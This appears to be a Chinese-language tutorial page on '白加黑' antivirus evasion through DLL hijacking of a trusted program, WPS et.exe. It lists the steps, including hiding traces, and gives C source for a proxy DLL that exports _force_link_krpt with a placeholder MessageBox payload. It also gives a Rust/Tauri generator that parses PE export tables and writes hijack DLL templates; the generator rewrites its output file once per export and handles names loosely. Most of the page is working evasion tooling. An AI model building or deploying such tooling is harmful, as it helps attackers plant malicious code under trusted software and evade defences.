白加黑

DeeLMind大约 4 分钟

白加黑

DeeLMind 提示

白加黑不一定可以绕过,只是一种方案

什么是白加黑

“白加黑”通常是指一种绕过杀毒软件(或安全软件)检测的技术,其中“白”指合法的、被信任的文件或进程,“黑”指恶意的代码。利用“白加黑免杀”技术,攻击者将恶意代码与合法文件或进程结合在一起,以避开杀毒软件的检测。

如何制作open in new window

  • DLL劫持

DLL劫持open in new window

  • 目标程序选择(wps et.exe)
  • 分析DLL加载顺序
  • 创建恶意DLL
  • 将恶意DLL放置在正确的位置
  • 执行目标程序
  • 隐藏踪迹
#include "pch.h"
#include <stdlib.h>
#include <windows.h>

__declspec(dllexport) void __stdcall  _force_link_krpt(void) {
    MessageBoxA(NULL, "HiJack", "DLL_force_link_krpt", 0);
}

BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "HiJack", "DLL_DllMain", 0);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
// Prevents additional console window on Windows in release, DO NOT REMOVE!!
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]

use std::fs::File;
use std::io::{self, Read};
use std::io::{Write, Result};

#[repr(C)]
#[derive(Debug)]
struct ImageDosHeader {
    e_magic: u16, // "MZ"
    e_cblp: u16,
    e_cp: u16,
    e_crlc: u16,
    e_cparhdr: u16,
    e_minalloc: u16,
    e_maxalloc: u16,
    e_ss: u16,
    e_sp: u16,
    e_csum: u16,
    e_ip: u16,
    e_cs: u16,
    e_lfarlc: u16,
    e_ovno: u16,
    e_res: [u16; 4],
    e_oemid: u16,
    e_oeminfo: u16,
    e_res2: [u16; 10],
    e_lfanew: u32, // PE header offset
}

#[repr(C)]
#[derive(Debug)]
struct ImageFileHeader {
    machine: u16,
    number_of_sections: u16,
    time_date_stamp: u32,
    pointer_to_symbol_table: u32,
    number_of_symbols: u32,
    size_of_optional_header: u16,
    characteristics: u16,
}

#[repr(C)]
#[derive(Debug)]
struct ImageOptionalHeader32 {
    magic: u16,
    major_linker_version: u8,
    minor_linker_version: u8,
    size_of_code: u32,
    size_of_initialized_data: u32,
    size_of_uninitialized_data: u32,
    address_of_entry_point: u32,
    base_of_code: u32,
    base_of_data: u32,
    image_base: u32,
    section_alignment: u32,
    file_alignment: u32,
    major_operating_system_version: u16,
    minor_operating_system_version: u16,
    major_image_version: u16,
    minor_image_version: u16,
    major_subsystem_version: u16,
    minor_subsystem_version: u16,
    win32_version_value: u32,
    size_of_image: u32,
    size_of_headers: u32,
    check_sum: u32,
    subsystem: u16,
    dll_characteristics: u16,
    size_of_stack_reserve: u32,
    size_of_stack_commit: u32,
    size_of_heap_reserve: u32,
    size_of_heap_commit: u32,
    loader_flags: u32,
    number_of_rva_and_sizes: u32,
    export_table: DataDirectory,
    import_table: DataDirectory,
    resource_table: DataDirectory,
    exception_table: DataDirectory,
    certificate_table: DataDirectory,
    base_relocation_table: DataDirectory,
    debug: DataDirectory,
    architecture: DataDirectory,
    global_ptr: DataDirectory,
    tls_table: DataDirectory,
    load_config_table: DataDirectory,
    bound_import: DataDirectory,
    iat: DataDirectory,
    delay_import_descriptor: DataDirectory,
    clr_runtime_header: DataDirectory,
    reserved: DataDirectory,
}

#[repr(C)]
#[derive(Debug)]
struct DataDirectory {
    virtual_address: u32,
    size: u32,
}

#[repr(C)]
#[derive(Debug)]
struct ImageSectionHeader {
    name: [u8; 8],
    virtual_size: u32,
    virtual_address: u32,
    size_of_raw_data: u32,
    pointer_to_raw_data: u32,
    pointer_to_relocations: u32,
    pointer_to_linenumbers: u32,
    number_of_relocations: u16,
    number_of_linenumbers: u16,
    characteristics: u32,
}

#[repr(C)]
#[derive(Debug)]
struct ImageExportDirectory {
    characteristics: u32,
    time_date_stamp: u32,
    major_version: u16,
    minor_version: u16,
    name: u32,
    base: u32,
    number_of_functions: u32,
    number_of_names: u32,
    address_of_functions: u32,    // RVA from base of image
    address_of_names: u32,        // RVA from base of image
    address_of_name_ordinals: u32, // RVA from base of image
}

fn rva_to_offset(rva: u32, sections: &[ImageSectionHeader]) -> Option<usize> {
    for section in sections {
        if rva >= section.virtual_address && rva < section.virtual_address + section.virtual_size {
            let offset = rva - section.virtual_address + section.pointer_to_raw_data;
            return Some(offset as usize);
        }
    }
    None
}

fn parse_pe_export_table(file_path: &str) -> io::Result<Vec<String>> {
    let mut file = File::open(file_path)?;
    let mut buffer = Vec::new();
    file.read_to_end(&mut buffer)?;

    // 解析 DOS 头
    let dos_header = unsafe { &*(buffer.as_ptr() as *const ImageDosHeader) };
    if dos_header.e_magic != 0x5A4D { // "MZ"
        return Err(io::Error::new(io::ErrorKind::InvalidData, "Invalid PE file"));
    }

    // 解析 PE 头
    let pe_header_offset = dos_header.e_lfanew as usize;
    let file_header = unsafe { &*(buffer[pe_header_offset + 4..].as_ptr() as *const ImageFileHeader) };

    // 解析 Optional Header(假设是 32 位)
    let optional_header = unsafe {
        &*(buffer[pe_header_offset + 24..].as_ptr() as *const ImageOptionalHeader32)
    };

    // 解析 Section Headers
    let section_headers_offset = pe_header_offset + 24 + file_header.size_of_optional_header as usize;
    let section_headers = unsafe {
        std::slice::from_raw_parts(
            buffer[section_headers_offset..].as_ptr() as *const ImageSectionHeader,
            file_header.number_of_sections as usize,
        )
    };

    // 定位导出表
    let export_directory_rva = optional_header.export_table.virtual_address;
    let export_directory_offset = rva_to_offset(export_directory_rva, section_headers)
        .ok_or_else(|| io::Error::new(io::ErrorKind::InvalidData, "Export directory not found"))?;
    
    let export_directory = unsafe {
        &*(buffer[export_directory_offset..].as_ptr() as *const ImageExportDirectory)
    };

    // 获取名称指针列表
    let name_rvas_offset = rva_to_offset(export_directory.address_of_names, section_headers)
        .ok_or_else(|| io::Error::new(io::ErrorKind::InvalidData, "Name RVAs not found"))?;
    let name_rvas = &buffer[name_rvas_offset..];

    let mut function_names = Vec::new();

    for i in 0..export_directory.number_of_names {
        let name_rva = unsafe { *(name_rvas.as_ptr().add(i as usize * 4) as *const u32) };
        let name_offset = rva_to_offset(name_rva, section_headers)
            .ok_or_else(|| io::Error::new(io::ErrorKind::InvalidData, "Function name not found"))?;
        let name_end = buffer[name_offset..].iter().position(|&c| c == 0).unwrap();
        let function_name = String::from_utf8_lossy(&buffer[name_offset..name_offset + name_end]);
        function_names.push(function_name.to_string());
    }

    Ok(function_names)
}

fn extract_base_name(mangled_name: &str) -> Option<String> {
    // 去除前缀 `?_`
    let trimmed_name = mangled_name.strip_prefix("?")?;
    
    // 查找第一个 '@' 符号的位置
    if let Some(pos) = trimmed_name.find('@') {
        let base_name = &trimmed_name[..pos];
        // 查找最后一个 '@' 符号的位置(如果有的话)
        if let Some(second_pos) = base_name.rfind('@') {
            return Some(base_name[..second_pos].to_string());
        }
        return Some(base_name.to_string());
    }
    None
}

fn hijack(file_path: &str) -> String{
    let _templete = r#"
                    #include "pch.h"
                    #include <stdlib.h>
                    #include <windows.h>

                    EXPORTS_REPLACE

                    BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
                    {
                        switch (ul_reason_for_call)
                        {
                        case DLL_PROCESS_ATTACH:
                            MessageBoxA(NULL, "HiJack", "DLL_DllMain", 0);
                            break;
                        case DLL_THREAD_ATTACH:
                            break;
                        case DLL_THREAD_DETACH:
                            break;
                        case DLL_PROCESS_DETACH:
                            break;
                        }
                        return TRUE;
                    }
                    "#;
    // 获取PE导出函数 __declspec(dllexport) void __stdcall
    let mut file = File::open(file_path).expect("Failed Open File");
    // 读取文件内容
    let mut buffer = Vec::new();
    file.read_to_end(&mut buffer).expect("Failed Read Buffer");
    // 解析 PE 文件
    let function_names = parse_pe_export_table(file_path).expect("");
    // 获取导出表
    for name in function_names {
        println!("{}", name);
        match extract_base_name(&name.to_string()) {
            Some(base_name) => {
                println!("Extracted base name: {}", base_name);
                // 替换EXPORTS
                let mut newExport = String::from("__declspec(dllexport) void __stdcall  ");
                newExport.push_str(&base_name);
                newExport.push_str("(void){}");
                println!("Extracted base New name: {}", newExport);
                // 生成C代码
                // 替换模板中的 EXPORTS_REPLACE
                let result = _templete.replace("EXPORTS_REPLACE", &newExport);
                println!("HiJack C File \n {}",result);
                // 写入文件
                let output_path = "hijack.c";
                let mut output_file = File::create(output_path).expect("Failed to create output file");
                output_file.write_all(result.as_bytes()).expect("Failed to write to output file");
            },
            None => println!("Could not extract the base name."),
        }
    }

    // 返回OK
    format!("Generate Successfully")
}

// Learn more about Tauri commands at https://tauri.app/v1/guides/features/command
#[tauri::command]
fn hijack_dll(file: &str) -> String {
    hijack(file)
}

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![hijack_dll])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}
上次编辑于:
贡献者: DeeLMind